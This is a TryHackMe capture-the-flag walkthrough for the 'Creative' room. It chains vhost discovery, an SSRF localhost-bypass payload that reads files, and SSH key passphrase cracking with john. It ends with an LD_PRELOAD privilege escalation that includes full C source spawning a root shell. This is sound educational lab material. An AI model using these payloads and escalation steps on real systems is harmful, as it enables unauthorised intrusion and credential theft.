> For the complete documentation index, see [llms.txt](https://manav-g-krishna.gitbook.io/tryhackme-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://manav-g-krishna.gitbook.io/tryhackme-writeups/creative.md).

# Creative

Exploit a vulnerable web application and some misconfigurations to gain root privileges.

{% embed url="<https://tryhackme.com/r/room/creative>" %}
Room Link
{% endembed %}

This work by Manav G Krishna is licensed under [CC BY-NC 4.0](http://creativecommons.org/licenses/by-nc/4.0/?ref=chooser-v1) <img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FUY4cMxPmQvurUJvFK7lb%2Fimage.png?alt=media&amp;token=c99dbcac-cdcc-465b-8ffd-2cd3fac6464a" alt="" data-size="line"><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FSznbBRdyt8wY71fXA2mM%2Fimage.png?alt=media&amp;token=71248350-0b93-4df1-af98-d491ab7e6e4a" alt="" data-size="line">

**`Machine IP`**: 10.10.65.65

**`Nmap Scan`**:

```python
nmap -p- -A -v --min-rate 100 -oN creative_thm -Pn 10.10.65.65

Nmap scan report for 10.10.65.65
Host is up (0.16s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:5c:1c:4e:b4:86:cf:58:9f:22:f9:7c:54:3d:7e:7b (RSA)
|   256 47:d5:bb:58:b6:c5:cc:e3:6c:0b:00:bd:95:d2:a0:fb (ECDSA)
|_  256 cb:7c:ad:31:41:bb:98:af:cf:eb:e4:88:7f:12:5e:89 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://creative.thm
|_http-server-header: nginx/1.18.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|storage-misc
Running (JUST GUESSING): Crestron 2-Series (86%), HP embedded (85%)
OS CPE: cpe:/o:crestron:2_series cpe:/h:hp:p2000_g3
Aggressive OS guesses: Crestron XPanel control system (86%), HP P2000 G3 NAS device (85%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 45.475 days (since Tue Feb 27 06:46:24 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   157.07 ms 10.11.0.1
2   157.09 ms 10.10.65.65

```

From the scan we can see that the domain name is **`creative.thm`** from the **`http-title`** part. We can also find this out by just searching the machine IP in Firefox instead of waiting for the scan to complete.&#x20;

Now an entry can be made in the **`/etc/hosts`** file.

**`Command`**:

```python
echo "10.10.65.65 creative.thm" | sudo tee -a /etc/hosts >/dev/null
```

**`Checking out port 80`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FVaCbNRLzI2WdHdt7y30N%2Fimage.png?alt=media&amp;token=83dd89c1-4ca8-4ec2-af48-3215996bdf4e" alt=""><figcaption></figcaption></figure>

We have a **`contact form`** here:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FjimB2o9tWIb2bOW3sJz0%2Fimage.png?alt=media&amp;token=a27d62d1-6f08-422e-a6e8-9dd851de82fa" alt=""><figcaption></figcaption></figure>

**`Testing out a basic XSS Payload`**:

Now let's set up a **`netcat`** listener on port **`80`**. If the above payload works we should be getting a connection back on our listener which basically shows that the server has reached out to our machine. The **`IP`** specified in the payload is the **`tun0`** interface **`IP`**.

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fn5L445okTHA4krLY5KRg%2Fimage.png?alt=media&amp;token=07d5063f-e641-41d6-8f33-4e14b423a6e1" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F5vvxDnu7X8wnHCi96s7Q%2Fimage.png?alt=media&amp;token=3cae0c29-1174-4f7d-a0b9-4a1f163ad954" alt=""><figcaption></figcaption></figure></div>

But unfortunately we don't get any connection on the listener.

We can now do some **`directory busting`** :

**`Command`**:

```python
dirsearch -u http://creative.thm -t 1000  //It is highly recommended to not use a high thread count like in this case, on legit targets due to the amount of noise it would generate.
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FWAImFHr6DdstQFr8O97z%2Fimage.png?alt=media&amp;token=c500bc59-5c10-4209-86ea-1e4d39a8b4b1" alt=""><figcaption></figcaption></figure></div>

The **`/assets`** path was Forbidden.

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FV674BV1K27rvrb5MsIKG%2Fimage.png?alt=media&amp;token=183c6c42-6de4-4d77-9db4-1a9cdf4b4a87" alt=""><figcaption></figcaption></figure></div>

We have no other paths.

Now let us do a **`VHost Busting`**:

**`Command`**:

```python
gobuster vhost -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://creative.thm --append-domain creative.thm
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F4kHYDh7XlZCnZ1yP8s2E%2Fimage.png?alt=media&amp;token=30f2e6bb-c8a2-4e39-8a48-abb2f1c57e0d" alt=""><figcaption></figcaption></figure>

There is a subdomain named: **`beta.creative.thm`**. Now we can this to the **`hosts`** file.

**`Checking out the newly found subdomain`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F42fs3kJkqKCO3igCiPdq%2Fimage.png?alt=media&amp;token=23c3ba66-3e42-45de-890a-12c574f2948c" alt=""><figcaption></figcaption></figure>

There is a dialog box where **`URL's`** can be entered and the description says it will check if the **`URL`** submitted is **`alive or not`**.

The first thought was of trying **`Command Injection`**, but had no success.

Let us now check if it is vulnerable to **`SSRF`**:

We can do this using a tool called **`SSRFmap`** which is a semi-automatic operating tool that exploits the vulnerability to fetch information. It provides ready-made **`modules`** that we can make use of.&#x20;

{% embed url="<https://github.com/swisskyrepo/SSRFmap>" %}
SSRFmap
{% endembed %}

{% embed url="<https://www.kitploit.com/2019/02/ssrfmap-automatic-ssrf-fuzzer-and.html>" %}

The tool takes a Burp **`request file`** as input and a **`parameter`** to fuzz. Now let us intercept the request in Burp post clicking on **`Submit`** (The dialog box can be left empty or you can type in anything that you want to):

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FYletDztwqOWUtTnaTIJw%2F2024-04-13_23-53.png?alt=media&amp;token=5d30386c-1169-4f0e-8120-102680477062" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F0bN2PQXRowBFG7IapN3Z%2F2024-04-13_23-55.png?alt=media&amp;token=f3289c2c-85df-4e4d-ac01-d98ca0c4dda0" alt=""><figcaption></figcaption></figure></div>

The parameter that we have is: **`url`**

**`Commands`**:

```python
git clone https://github.com/swisskyrepo/SSRFmap && cd SSRFmap
```

```python
python3 ssrfmap.py -r request -p url -m portscan
```

&#x20;The **`portscan`** module scans top **`8000`** ports for the host.

Now the **`request`** shown in the snippet above has to be saved to a file, have named it **`request`** in this case.&#x20;

**`Running the tool`**:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FGT9qmXYK2n7tehn45wFR%2F2024-04-15_12-12.png?alt=media&amp;token=bcd9d4a6-92e9-495c-ad89-2f94ddea92d9" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2Fxdd3XDWSu4iM20kAuy1X%2F2024-04-15_12-09.png?alt=media&amp;token=6afcefe9-3895-4bc6-92bb-4967f5626c73" alt=""><figcaption></figcaption></figure></div>

It found **`two`** open ports on the machine's localhost: **`80`** & **`1337`**. The same output can be achieved by using **`ffuf`**, **`wfuzz`**, **`Burp's Intruder`** etc.

Now we can use payloads like these to fetch information:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FCXu0I2ajI9Y5tSriu1TX%2F2024-04-15_12-16.png?alt=media&amp;token=ec7165fe-57a2-487f-923d-cc2338830397" alt=""><figcaption></figcaption></figure></div>

**`Payloads`**:

```python
http://127.0.1:1337  //This is a classic bypass, which consists of replacing 127.0.0.1 with 127.0.1
```

```python
http://127.0.0.1:1337
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FGryOEG8ZMP5tRpTf4kWR%2F2024-04-15_12-21.png?alt=media&amp;token=a9751c93-ded1-4f78-af1e-7bfb9145141b" alt=""><figcaption></figcaption></figure>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FFQCkBIkG7QWc0mExopvg%2Fimage.png?alt=media&amp;token=2fdab6d9-74cc-49ce-9d3f-ecd21fd8fbfe" alt=""><figcaption></figcaption></figure></div>

The payload worked and now we have a listing of all the directories on the machine.&#x20;

Let us get inside the **`/home`** directory:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FlN7tLNdMD4FEC3TmVJTR%2F2024-04-15_12-32.png?alt=media&amp;token=6f4cbfba-e2d0-4487-8c70-3382155f0ee6" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FgE6ShMkrVSAOxwLYFvvA%2F2024-04-15_12-32_1.png?alt=media&amp;token=b33550d0-3235-4899-a1ca-571362c6ef77" alt=""><figcaption></figcaption></figure></div>

We have a user named **`saad`**. Upon further climbing the directories, we get to the private key of **`saad`** within the **`.ssh`** directory:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FUOyEYf3G4YKlZDAdWwXP%2F2024-04-15_12-41.png?alt=media&amp;token=f7bdfd76-9387-42c1-a497-aba1b4bb949f" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FZ6qYHjC3RMcCfjWvKA6l%2F2024-04-15_12-42.png?alt=media&amp;token=b327a185-58aa-4a55-81e0-2843967ce3d1" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FIhrPSe23RGceVhm5Tp0Z%2F2024-04-15_12-43.png?alt=media&amp;token=5c6215b1-a477-48c2-ad11-d705e5a3aa44" alt=""><figcaption></figcaption></figure></div>

We have the key in the correct format in the page source.

**`SSH ing in as saad`**:

Using the private key, post giving the file the needed permissions (**`chmod 400/600`**) we can **`SSH`** in as **`saad`**:

**`Command`**:

```python
ssh saad@creative.thm -i id_rsa
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FxU6dOVZJbo0MHhBcdSAp%2Fimage.png?alt=media&amp;token=005298af-6a5c-42c3-8bee-1b67608260d3" alt=""><figcaption></figcaption></figure></div>

We notice that it is asking for the private key's passphrase. An **`id_rsa passphrase`** is an additional layer of security that can be added to the private key of an SSH key pair.

There are tools like **`ssh2john`** that converts the current private key format to **`John`** format which can then be used with **`John The Ripper`** tool to crack the passphrase.

**`Commands`**:

```python
ssh2john id_rsa > id_rsa_john_format
```

```python
john --wordlist=/usr/share/wordlist/rockyou.txt id_rsa_john_format
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FuLixb6eTxFcLLtjxWOnu%2Fimage.png?alt=media&amp;token=3448e118-cfd5-4f7f-b401-dc5752672b39" alt=""><figcaption></figcaption></figure></div>

**`Note`**:

Since I had already done the cracking before, I have used the **`--show`** switch of john to show the passphrase.

**`SSH ing in as saad with the obtained passsphrase`**:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FxmpUJXyWZvlJ7xCA0hd5%2F2024-04-15_13-31.png?alt=media&amp;token=1799b5af-3302-496b-b1e9-e1e53a94e311" alt=""><figcaption></figcaption></figure>

The user flag can now be fetched from the users **`/home`** directory. We could also take it from the **`URL Tester`** page by submitting this: **`http://127.0.1:1337/home/saad/user.txt`**.

Upon checking out the **`.bash_history`** file we find **`saad's`** password:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FCgR8EGUtWg2Dm9sgZmVE%2F2024-04-15_13-32.png?alt=media&amp;token=e7bf8b90-420a-4eef-acae-34cf9596a294" alt=""><figcaption></figcaption></figure></div>

In Bash, your command history is stored in a file ( **`.bash_history`** ) in your home directory. Now we can check for **`sudo`** rights.

**`Privilege Escalation`**:\
\
We can now check for **`saad's`** **`sudo`** rights/privs:

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F6R4NkYTxsXwram8c7se0%2Fimage.png?alt=media&amp;token=7724f201-1b5a-470e-880e-d03e538b853d" alt=""><figcaption></figcaption></figure>

**`saad`** has the ability to run **`/usr/bin/ping`** as the **`root`** user using **`sudo`**. The **`LD_PRELOAD`** environment variable is retained when executing commands with **`sudo`**, which is used for preloading **`shared libraries`** into a program's memory.

This environment variable can be exploited to **`privilege escalate`**.

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/>" %}

Create a **`C-program`** within a directory we have write permissions on, we can use the **`/tmp`** directory in this case:

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FA16cEZvEB7gKODho2DDm%2Fimage.png?alt=media&amp;token=6e34a00b-efb2-4fba-b26f-af4ec8637faa" alt=""><figcaption></figcaption></figure></div>

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}

```

**`Command`**:

```python
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
```

<figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2F98U1lVxzKg4KV7z6lXvP%2Fimage.png?alt=media&amp;token=960a07fe-3952-4006-8e33-1f796566a363" alt=""><figcaption></figcaption></figure>

This creates a **`shell.so`** file. The warnings can be ignored.

**`Command`**:

```python
sudo LD_PRELOAD=/tmp/shell.so ping
```

<div align="left"><figure><img src="https://2386372919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4sk1CuiZLAksOrrC0X4d%2Fuploads%2FM0yo6wpIl8kB3Kt9jkfg%2Fimage.png?alt=media&amp;token=6e6a57af-1d96-4f45-8f1d-0d1f38367e67" alt=""><figcaption></figcaption></figure></div>

Now we are root and can fetch the root flag from the **`/root`** directory.

Room solved!!

{% embed url="<https://tryhackme.com/p/gravereaper2038>" %}
Profile Link
{% endembed %}
